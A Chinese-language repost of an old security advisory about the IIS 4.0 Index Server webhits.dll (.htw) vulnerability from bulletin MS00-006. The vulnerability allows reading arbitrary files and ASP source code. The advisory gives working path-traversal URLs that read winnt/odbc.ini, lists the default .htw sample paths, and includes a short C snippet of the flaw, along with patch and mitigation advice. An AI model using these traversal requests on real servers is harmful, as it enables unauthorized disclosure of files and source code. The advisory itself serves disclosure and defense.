欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

ASP漏洞集-虚拟web目录容易泄露ASP源代码 (MS,缺陷)

程序员文章站 2022-07-09 12:46:40
涉及程序:microsoft internet information server/index server描述:震撼安全发现:新的允许查看web服务器上任何文件包括asp详细:iis4.0上有一...

涉及程序:
microsoft internet information server/index server
描述:
震撼安全发现:新的允许查看web服务器上任何文件包括asp
详细:
iis4.0上有一个应用程序映射htw--->webhits.dll,这是用于index server的点击功能的。尽管你不运行index server,该映
射仍然有效。这个应用程序映射存在漏洞,允许入侵者读取本地硬盘上的文件,文件,和asp源代码!
有两种方法来实现,第一,如果你的web server上存在.htw后缀的文件,则可以过下面的方式来查看文件内容,比如查看
odbc.ini文件的内容:
https://www.xxx.com/iissamples/issamples/oop/qfullhit.htw?
ciwebhitsfile=/../../winnt/odbc.ini&cirestriction=none&cihilitetype=full
对于iis的一般安装模式可以在下列位置找到.htw文件:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/iissamples/exair/search/qfullhit.htw
/iissamples/exair/search/qsumrhit.htw
/iishelp/iis/misc/iirturnh.htw
第二、如果你的web server上不存在这个文件,有漏洞的仍然允许用户调用webhits.dll,具体方式如下:
https://www.xxx.com/default.htm .htw?
ciwebhitsfile=/../../winnt/odbc.ini&cirestriction=none&cihilitetype=full
条件是default.htm必须存在。这个文件名可以是其它文件,但必须存在。webhits.dll将会把这个文件作为临时文件打开。当上
述url中的空格符 达到一定数目时,web服务的识别功能可能会出现问题,这样webhits.dll将打开指定的文件
winntodbc.ini。如果成功,用同样的方法可以打开更多的文件,包括asp代码。近似的原理请见下面这段代码:
file *fd;
int doestemplateexist(char *pathtohtwfile)
{
// just in case inetinfo.exe passes too long a string
// lets make sure its of a suitable length and not
// going to open a buffer overrun vulnerability
char *file;
file = (char *)malloc(250);
strncpy(file,pathtohtwfile,250);
fd = fopen(file,"r");
// success
if(fd !=null)
{
return 1;
}
// failed
else
{
return 0;
}
}
解决方案:
不使用index server功能的用户,可以在iis管理控制台中,点 web站点,属性,选择主目录,配置(起始点),应用程序映射,
将htw与webhits.dll的映射删除。
如果要用到webhits.dll,则使用下面的补丁:
index server 2.0(intel机器)的补丁
index server 2.0(alpha机器)的补丁
windows2000的index server服务补丁
安全建议:
建议在iis控制台中删除无用的应用程序映射
相关站点:
https://www.microsoft.com/technet/security/bulletin/ms00-006.
from: https://www.cnns.net/article/db/49.htm